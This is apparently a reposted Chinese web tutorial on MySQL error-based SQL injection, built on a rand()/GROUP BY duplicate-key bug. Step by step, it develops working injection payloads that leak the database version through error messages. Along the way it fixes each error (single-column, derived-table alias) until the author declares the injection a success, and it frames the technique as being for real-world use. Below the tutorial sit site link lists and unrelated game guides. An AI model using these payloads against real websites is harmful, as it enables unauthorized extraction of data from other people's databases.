您现在的位置是:网站首页> 编程资料编程资料
网站MYSQL数据库高级爆错注入原分析_脚本攻防_网络安全_
2023-05-24
386人已围观
简介 网站MYSQL数据库高级爆错注入原分析_脚本攻防_网络安全_
这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
1248 (42000): Every derived table must have its own alias
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
SQL Code复制内容到剪贴板
- use mysql;
- create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
- select left(rand(),3),a from r1 group by 1;
- select left(rand(),3),a, count(*) from r1 group by 1;
- select round(rand(1),1) ,a, count(*) from r1 group by 1;
于是便可以这样拿来爆错注入了。
复制代码
代码如下:select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;
尝试拿来实战
复制代码
代码如下:select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
复制代码
代码如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
复制代码
代码如下:1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
复制代码
代码如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
复制代码
代码如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
作者: 小残 绳命不息 |折腾不止
相关内容
- 网站个人渗透技巧收集与总结 _脚本攻防_网络安全_
- 勒索病毒最新变种惊现!僵尸网络扩散中_病毒查杀_网络安全_
- 看windows如何为电脑打造“免检”木马_病毒查杀_网络安全_
- 中国南海和东南亚问题相关的网络攻击组织 捕获Patchwork APT攻击_脚本攻防_网络安全_
- 你知道自己的电脑感染了恶意软件吗?_病毒查杀_网络安全_
- 如何手动清除那些利用了映像劫持技术的病毒_病毒查杀_网络安全_
- 详解专家谈手工查杀AV终结者病毒教程_病毒查杀_网络安全_
- mcafee 新手入门教程之如何输入密码解除锁定_杀毒防毒_网络安全_
- 电脑中的木马病毒如何彻底查杀?_病毒查杀_网络安全_
- 麦咖啡8.5i企业服务器版免费下载_杀毒防毒_网络安全_
点击排行
本栏推荐
-
魔兽世界TBC怀旧服声望怎么刷 TBC四大声望速刷方法_网络游戏_游戏攻略_
-
魔兽世界tbc怀旧服破碎大厅全boss打法教程 破碎大厅副本攻略_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服卡拉赞门任务怎么做 tbc怀旧服卡拉赞门钥匙任务接取方法_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服猎人实用宏推荐 LR全天赋输出宏整理汇总_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服幽魂碎片有什么用 70tbc怀旧服幽魂碎片作用介绍_网络游戏_游戏攻略_
-
永劫无间国服和steam互通吗 永劫无间服务器互通介绍_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服纳格兰竞技场奖励有哪些 tbc怀旧服纳格兰竞技场奖励大全 _网络游戏_游戏攻略_
猜你喜欢
- 魔兽世界TBC怀旧服声望怎么刷 TBC四大声望速刷方法_网络游戏_游戏攻略_
- 魔兽世界tbc怀旧服破碎大厅全boss打法教程 破碎大厅副本攻略_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服卡拉赞门任务怎么做 tbc怀旧服卡拉赞门钥匙任务接取方法_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服猎人实用宏推荐 LR全天赋输出宏整理汇总_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服幽魂碎片有什么用 70tbc怀旧服幽魂碎片作用介绍_网络游戏_游戏攻略_
- 永劫无间国服和steam互通吗 永劫无间服务器互通介绍_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服纳格兰竞技场奖励有哪些 tbc怀旧服纳格兰竞技场奖励大全 _网络游戏_游戏攻略_